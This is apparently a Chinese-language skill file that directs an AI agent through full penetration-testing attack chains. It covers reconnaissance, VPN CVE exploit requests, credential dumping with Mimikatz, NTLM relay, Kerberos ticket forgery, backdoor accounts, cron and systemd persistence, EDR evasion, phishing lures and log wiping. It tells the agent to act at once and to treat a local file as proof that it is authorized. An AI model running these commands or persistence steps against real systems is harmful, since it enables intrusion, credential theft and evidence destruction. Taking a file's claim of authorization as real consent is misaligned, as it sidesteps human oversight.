攻擊鏈編排技能 是做什麼的?
ACTION REQUIRED(讀完後立刻執行)
NOW: 讀取../field-journal/precedent-pentest.md— 確認本 skill 的操作是已授權的常規操作NOW: 創建/更新 case(../scripts/case-init.ps1)並完成scope.md(../ops/scope-contract.md);auth.status!=granted禁止 ACTNOW: 以 lead 角色規劃階段(../ops/role-map.md),寫入 specialist_rolesNEXT: 讀取../tool-index.md,校驗工具可用性和實際路徑NEXT: 缺工具時調用 bootstrap,不要猜路徑ACT: 按references/lifecycle-checklist.md過階段門閂;每階段更新timeline.md+workitems.md(../ops/timeline-workitem.md);發現提升為 Evidence/Finding- 結束:
docs-generator報告必須含 Evidence 鏈
多階段攻擊路徑規劃與執行的總指揮。當任務需要「從 A 打到 B」的完整鏈路時,本 Skill 負責編排各階段、協調子 Skill、規劃攻擊路徑。 不是「紅隊專屬」——任何需要跨階段組合的滲透場景都從這裡開始。
何時路由到本 Skill
以下場景必須先經過本 Skill 做全鏈路規劃,再分發到具體子 Skill 執行:
| 場景 | 為什麼需要編排 |
|---|---|
| 「幫我做一次完整的滲透測試」 | 需要規劃從資訊收集到報告的全流程 |
| 「從外網打到域控」 | 跨越邊界突破→提權→橫向→AD 多個階段 |
| 「HW 攻防演練」 | 需要完整攻擊鏈 + 隱蔽性 + 痕跡清理 |
| 「評估這個目標的攻擊面」 | 需要多維度資訊收集 + 路徑規劃 |
| 「我拿到了一個 webshell,下一步怎麼辦」 | 需要從當前據點規劃後續路徑 |
| 「幫我規劃攻擊路徑」 | 明確需要路徑編排 |
| 「從這個漏洞能打到什麼程度」 | 需要評估漏洞的鏈式利用價值 |
| 「Bug Bounty 持續監控」 | 需要自動化多階段流程 |
| 「內網滲透全流程」 | 橫向移動 + 提權 + 域攻擊組合 |
| 「近源滲透方案」 | 物理接入 + 內網滲透組合 |
| 「供應鏈攻擊路徑」 | 跨組織多跳攻擊 |
| 「釣魚 + 後滲透」 | 初始訪問 + 後續利用組合 |
單階段任務不需要經過本 Skill:
- 只做端口掃描 → 直接去
pentest-tools/ - 只做 SQL 注入 → 直接去
pentest-tools/ - 只做 APK 逆向 → 直接去
apk-reverse/ - 只做域滲透 → 直接去
windows-ad/SKILL.md
編排原則
本 Skill 的角色
用戶提出多階段任務
↓
attack-chain/SKILL.md(本文件)
↓ 規劃攻擊路徑、確定階段順序
↓ 評估每階段所需工具和方法
↓
分發到具體子 Skill 執行:
├── pentest-tools/ → 工具調用、漏洞利用
├── apk-reverse/ → 移動端滲透
├── js-reverse/ → Web 前端突破
├── reverse-engineering/ → 二進制分析
├── ida-reverse/ → 深度逆向
└── browser-automation/ → 自動化操作
↓
每階段完成後回到本 Skill 評估下一步
↓
全部完成 → docs-generator 生成報告
路徑規劃決策樹
拿到目標後:
1. 目標是什麼?(Web/內網/雲/移動/IoT)
2. 當前有什麼?(外部視角/已有憑證/已有據點)
3. 最終目標是什麼?(域控/數據/特定系統/證明影響)
4. 約束條件?(時間/隱蔽性/不可觸碰的系統)
↓
根據以上資訊規劃最短路徑
↓
一條路走不通 → 回到本 Skill 重新規劃備選路徑
完整攻擊鏈階段
一、資訊收集階段(Reconnaissance)
1.1 企業數位資產測繪
# 子公司關聯域名發現
subfinder -d target.com -o subdomains.txt
amass enum -d target.com -passive -o amass_results.txt
# 合併去重
cat subdomains.txt amass_results.txt | sort -u > all_subs.txt
# 存活探測
httpx -l all_subs.txt -status-code -title -tech-detect -o alive.txt
# 端口掃描(全端口)
naabu -l all_subs.txt -top-ports 1000 -o ports.txt
nmap -sV -sC -iL targets.txt -oA nmap_results
實戰要點:
- 透過企查查/天眼查獲取子公司列表,擴大攻擊面
- 關注測試環境(test.、dev.、staging.)和新上線系統
- 憑證透明度日誌(crt.sh)發現隱藏域名
1.2 敏感資訊洩露狩獵
# GitHub 搜尋
# org:Company filename:.env password
# org:Company filename:config.yml secret
# org:Company "jdbc:mysql" password
# Google Dork
# site:target.com filetype:sql
# site:target.com inurl:admin
# site:target.com ext:conf|cfg|ini
# JS 檔案中的 API Key
cat js_urls.txt | while read url; do
curl -s "$url" | grep -oP '(api[_-]?key|secret|token|password)\s*[:=]\s*["\047][^"\047]+'
done
高價值目標:
- 雲服務 AK/SK(阿里雲、AWS、Azure)
- 資料庫連接字串
- JWT 金鑰
- 內部 API 文件
- VPN/堡壘機憑證
1.3 員工資訊畫像
社工字典生成規則:
{姓名拼音}{年份} → zhangsan2024
{姓名首字母}{部門縮寫} → zs_dev
{工號}@{域名} → [email protected]
{姓名}{常見後綴} → zhangsan@123, zhangsan!@#
資訊來源:
- 脈脈/LinkedIn 部門架構
- 企業公眾號/官網團隊介紹
- 招聘資訊(技術棧暴露)
- 學術論文(郵箱暴露)
1.4 技術棧指紋識別
# Web 指紋
whatweb -i alive.txt --log-json=fingerprint.json
httpx -l alive.txt -tech-detect -json -o tech.json
# 特定框架探測
nuclei -l alive.txt -tags tech -severity info -o tech_results.txt
# CMS 識別
wpscan --url https://target.com --enumerate p,t,u
二、邊界突破階段(Initial Access)
2.1 Web 漏洞利用(高頻突破點)
| 漏洞類型 | 檢測工具 | 利用方式 |
|---|---|---|
| SQL 注入 | sqlmap | 資料提取 → 寫 shell → OS 命令 |
| SSTI | sstimap | 模板注入 → RCE |
| 檔案上傳 | 手工 + Burp | Webshell → 反彈 shell |
| 反序列化 | ysoserial/marshalsec | Java/PHP/Python RCE |
| SSRF | 手工 | 內網探測 → 雲元資料 → AK/SK |
| 未授權訪問 | nuclei | Spring Actuator / Nacos / Redis |
| XSS → Cookie | xsstrike | 管理員會話劫持 |
# SQL 注入自動化
sqlmap -u "https://target.com/api?id=1" --batch --dbs --random-agent
# SSTI 檢測
sstimap -u "https://target.com/search?q=test"
# Nuclei 批量掃描
nuclei -l alive.txt -severity critical,high -tags cve,sqli,rce -o vulns.txt
2.2 供應鏈攻擊
攻擊路徑:
- 識別目標使用的第三方元件/服務商
- 攻擊供應商獲取程式碼簽名/更新推送權限
- 透過合法更新通道投遞惡意載荷
常見入口:
- 開源元件投毒(npm/pip/maven)
- SaaS 服務商 API 濫用
- 外包人員權限利用
- 共享 IT 服務商橫向滲透
2.3 釣魚攻擊
郵件釣魚:
主題模板:
- [緊急] VPN 憑證即將過期,請立即更新
- [IT通知] 郵箱儲存空間不足,請清理
- [HR] 2024年度績效考核結果查詢
- [財務] 報銷系統升級,請重新登入確認
載荷類型:
- Office 宏文件(.docm/.xlsm)
- LNK 捷徑方式(偽裝 PDF)
- HTML 走私(HTML Smuggling)
- ISO/IMG 映像(繞過 MOTW)
- OneNote 嵌入腳本
OAuth 釣魚(2025 新趨勢):
- 構造惡意 OAuth 應用請求權限
- 用戶授權後獲取郵箱/檔案存取權限
- 無需密碼,繞過 MFA
2.4 近源滲透(Physical Access)
| 手法 | 工具 | 效果 |
|---|---|---|
| BadUSB | Rubber Ducky / WiFi Ducky | 鍵盤注入 → 反彈 shell |
| 惡意充電寶 | O.MG Cable | 偽裝數據線植入後門 |
| WiFi 釣魚 | Fluxion / WiFi Pineapple | 偽造熱點 → 憑證捕獲 |
| RFID 克隆 | Proxmark3 | 門禁卡複製 → 物理進入 |
| 網路植入 | Raspberry Pi / LAN Turtle | 內網持久接入點 |
# Fluxion WiFi 釣魚
fluxion # 互動式選擇目標 AP → 創建偽造熱點 → 捕獲 WPA 密碼
# BadUSB 聯動 Cobalt Strike
# 透過 USB 注入 PowerShell 下載器 → 上線 C2
2.5 VPN/遠端接入突破
# Pulse Secure VPN(CVE-2019-11510)
curl -k "https://vpn.target.com/dana-na/../dana/html5acc/guacamole/../../../etc/passwd?/dana/html5acc/guacamole/"
# Fortinet VPN(CVE-2018-13379)
curl -k "https://vpn.target.com/remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession"
# 通用:密碼噴灑
hydra -L users.txt -P passwords.txt vpn.target.com https-form-post
2.6 雲服務突破
# AWS S3 桶枚舉
aws s3 ls s3://target-bucket --no-sign-request
# 雲元資料 SSRF
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure AD 密碼噴灑
# 使用 MSOLSpray / Spray 工具
三、權限提升階段(Privilege Escalation)
3.1 Windows 提權
| 技術 | 條件 | 工具 |
|---|---|---|
| Potato 系列 | SeImpersonate 權限 | SweetPotato / GodPotato / PrintSpoofer |
| 核心漏洞 | 未打補丁 | watson / wesng 檢測 |
| 服務路徑劫持 | 不帶引號的服務路徑 | PowerUp |
| DLL 劫持 | 可寫 DLL 搜尋路徑 | Process Monitor |
| AlwaysInstallElevated | 註冊表配置 | msiexec 安裝惡意 MSI |
| 計劃任務 | 可寫任務腳本 | schtasks 替換 |
# 檢測 SeImpersonate
whoami /priv | findstr "SeImpersonate"
# Potato 提權
.\GodPotato.exe -cmd "cmd /c whoami"
# 自動化檢測
.\winPEAS.exe
3.2 Linux 提權
# SUID 檢測
find / -perm -4000 -type f 2>/dev/null
# sudo 濫用
sudo -l
# 常見可利用:vim, find, python, nmap, less, awk, perl
# sudo vim 提權
sudo vim -c ':!/bin/bash'
# sudo find 提權
sudo find / -exec /bin/bash \;
# 核心漏洞
uname -r # 檢查版本
# DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195)
# 自動化檢測
./linpeas.sh
3.3 資料庫提權
-- MSSQL xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';
-- MySQL UDF 提權
CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'lib_mysqludf_sys.so';
SELECT sys_exec('id');
-- PostgreSQL
COPY (SELECT '') TO PROGRAM 'id';
3.4 雲權限提升
# AWS IAM 枚舉
aws iam list-attached-user-policies --user-name compromised-user
# 尋找 iam:PassRole + lambda:CreateFunction → 管理員權限
# Azure AD
# 全域管理員 → 所有訂閱控制
# 應用管理員 → 添加憑證到服務主體
四、橫向移動階段(Lateral Movement)
4.1 憑證獲取
# Mimikatz(Windows)
mimikatz# sekurlsa::logonpasswords
mimikatz# lsadump::dcsync /domain:target.local /user:krbtgt
# Linux 憑證
cat /etc/shadow
cat ~/.bash_history | grep -i pass
find / -name "*.conf" -exec grep -l "password" {} \;
# NTLM Hash 提取
secretsdump.py domain/user:password@dc_ip
4.2 Pass-the-Hash / Pass-the-Ticket
# PTH 橫向
crackmapexec smb 10.0.0.0/24 -u administrator -H <NTLM_HASH> --exec-method smbexec
# Kerberoasting
GetUserSPNs.py -request -dc-ip 10.0.0.1 domain/user:password
# AS-REP Roasting
GetNPUsers.py domain/ -usersfile users.txt -no-pass -dc-ip 10.0.0.1
# 金票據
mimikatz# kerberos::golden /user:Administrator /domain:target.local /sid:S-1-5-21-... /krbtgt:<HASH> /ptt
4.3 隱蔽橫向技術
# WMI 無文件執行
wmiexec.py domain/admin:password@target_ip "whoami"
# DCOM 遠端執行
dcomexec.py domain/admin:password@target_ip "whoami"
# WinRM
evil-winrm -i target_ip -u admin -H <NTLM_HASH>
# PsExec(會留痕)
psexec.py domain/admin:password@target_ip
# SSH 隧道(Linux 環境)
ssh -D 1080 user@pivot_host # SOCKS 代理
ssh -L 3389:internal_host:3389 user@pivot_host # 端口轉發
4.4 NTLM Relay
# 關閉 Responder 的 SMB/HTTP
# 編輯 Responder.conf: SMB = Off, HTTP = Off
# 啟動 Responder 捕獲
responder -I eth0
# NTLM Relay 到目標
ntlmrelayx.py -tf targets.txt -smb2support
# Coercer 強制認證
coercer coerce -u user -p password -d domain -l attacker_ip -t dc_ip
4.5 AD 攻擊路徑
# BloodHound 資料收集
bloodhound-python -d domain.local -u user -p password -c All -ns dc_ip
# 常見攻擊路徑:
# 1. 用戶 → GenericAll → 目標用戶 → 重設密碼
# 2. 用戶 → WriteDacl → 目標 OU → 添加權限
# 3. 計算機 → 約束委派 → 模擬任意用戶
# 4. 用戶 → DCSync 權限 → 匯出所有 Hash
# Certipy AD CS 攻擊
certipy find -u user@domain -p password -dc-ip dc_ip
certipy req -u user@domain -p password -ca CA-NAME -template VulnTemplate
五、權限維持階段(Persistence)
5.1 Windows 持久化
| 技術 | 隱蔽性 | 檢測難度 |
|---|---|---|
| 計劃任務 | 中 | 低 |
| 註冊表 Run 鍵 | 低 | 低 |
| WMI 事件訂閱 | 高 | 高 |
| DLL 劫持 | 高 | 中 |
| 影子帳戶 | 中 | 中 |
| Golden Ticket | 極高 | 極高 |
| DSRM 後門 | 極高 | 極高 |
# WMI 事件訂閱(高隱蔽)
$Filter = Set-WmiInstance -Class __EventFilter -Arguments @{
Name = "CoreFilter"
EventNameSpace = "root\cimv2"
QueryLanguage = "WQL"
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
}
# 影子帳戶
net user support$ P@ssw0rd /add /active:yes
net localgroup administrators support$ /add
# 修改註冊表 F 值克隆 RID
5.2 Linux 持久化
# SSH 金鑰植入
echo "ssh-rsa AAAA..." >> /root/.ssh/authorized_keys
# Crontab 後門
(crontab -l; echo "*/5 * * * * /tmp/.hidden/beacon") | crontab -
# LD_PRELOAD 劫持
echo "/tmp/.hidden/evil.so" > /etc/ld.so.preload
# PAM 後門
# 修改 pam_unix.so 添加萬能密碼
# Systemd 服務
cat > /etc/systemd/system/update.service << 'EOF'
[Unit]
Description=System Update Service
[Service]
ExecStart=/tmp/.hidden/beacon
Restart=always
[Install]
WantedBy=multi-user.target
EOF
systemctl enable update.service
5.3 雲環境持久化
# AWS Lambda 後門
# 建立定時觸發的 Lambda 函數,回連 C2
# Azure AD 應用註冊
# 建立應用 → 添加金鑰憑證 → 授予 Graph API 權限
# 容器後門
# 修改基礎映像 → 所有新容器自帶後門
六、EDR/AV 繞過(Evasion)
6.1 核心繞過思路
| 層面 | 技術 | 說明 |
|---|---|---|
| 靜態檢測 | 加密/混淆/自定義載入器 | 避免簽名匹配 |
| 行為檢測 | 間接系統調用/Unhooking | 繞過 API Hook |
| 記憶體檢測 | 模塊踩踏/堆加密 | 避免記憶體掃描 |
| 網路檢測 | 域前置/合法服務隧道 | 混入正常流量 |
| 日誌檢測 | ETW Patching/日誌清除 | 減少痕跡 |
6.2 實用繞過技術
1. Shellcode 載入器自定義(不用公開工具)
2. 系統調用直接調用(繞過 ntdll hook)
3. 進程注入選擇低監控進程(如 RuntimeBroker.exe)
4. C2 流量走 HTTPS + 域前置 / Cloudflare Workers
5. 記憶體中執行,不落盤(Fileless)
6. 利用合法簽名程式載入(LOLBins)
6.3 C2 框架選擇
| 框架 | 特點 | 適用場景 |
|---|---|---|
| Cobalt Strike | 成熟穩定,團隊協作 | 大型紅隊行動 |
| Sliver | 開源,Go 編寫 | 預算有限 |
| Havoc | 現代化,模組化 | 需要定制 |
| Mythic | 多 agent 支援 | 跨平台 |
| AdaptixC2 | Kali 2026.1 收錄 | 快速部署 |
七、痕跡清理(Anti-Forensics)
# Windows 日誌清除
wevtutil cl Security
wevtutil cl System
wevtutil cl Application
# Linux 日誌清除
echo > /var/log/auth.log
echo > /var/log/syslog
history -c && history -w
# 時間戳修改
touch -t 202301010000 /path/to/file
# 記憶體清理
# 確保 Mimikatz dump 已刪除
# 確保 C2 beacon 已退出
# 確保暫存檔案已清除
紅隊行動鐵律
三條底線
- 所有操作必須獲得書面授權
- 數據滲出需進行匿名化處理
- 清理所有攻擊痕跡(包括記憶體駐留)
行動紀律
- 每個操作前評估風險等級(低/中/高/嚴重)
- 高風險操作前通知專案經理
- 保持操作日誌(時間、動作、結果)
- 發現高危漏洞立即上報,不擴大利用
- 不影響業務可用性(禁止 DoS)
- 不訪問/下載真實用戶資料
典型失敗案例
| 失敗原因 | 後果 | 教訓 |
|---|---|---|
| 未清除 Mimikatz 記憶體 dump | 藍隊溯源完整攻擊路徑 | 操作後立即清理 |
| C2 域名被威脅情報標記 | 首次連接即被攔截 | 使用新註冊域名 + 域前置 |
| 釣魚郵件觸發 DLP 告警 | 藍隊提前預警 | 測試郵件閘道規則 |
| 橫向移動觸發蜜罐 | 暴露攻擊意圖 | 先識別蜜罐再行動 |
工具速查表
資訊收集
subfinder amass httpx naabu katana gau dnsx nmap whatweb wpscan
漏洞利用
nuclei sqlmap sstimap xsstrike burpsuite metasploit
權限提升
winPEAS linpeas GodPotato PrintSpoofer watson
橫向移動
mimikatz crackmapexec/netexec impacket bloodhound certipy coercer responder evil-winrm
C2 框架
cobalt-strike sliver havoc mythic adaptixc2
近源滲透
fluxion aircrack-ng proxmark3 rubber-ducky wifi-pineapple
與本包其他 Skill 的關係
| 需求 | 路由到 |
|---|---|
| Web 漏洞深度利用 | pentest-tools/SKILL.md |
| 內網 AD 攻擊詳細步驟 | windows-ad/SKILL.md |
| 逆向分析惡意樣本 | reverse-engineering/SKILL.md |
| APK 逆向(移動端滲透) | apk-reverse/SKILL.md |
| JS 前端簽名繞過 | js-reverse/SKILL.md |
| 自動化群體滲透 | Pentest Swarm AI(pentestswarm scan --swarm) |
| AI 輔助滲透 | mcp-kali-server / metasploitmcp / hexstrike-ai |
| 報告生成 | docs-generator/SKILL.md |
| 攻擊路徑圖 | diagram-generator/SKILL.md |
任務完成自檢(聲稱完成前 MUST 通過)
- 我是否執行了工作流中的每一步(而不是只閱讀)?
- 我是否基於
tool-index使用了真實工具路徑? - 我是否產出了可重現證據(命令/腳本/截圖/報告)?
- 我是否完成並回寫了 RULES 要求的 Checklist 項?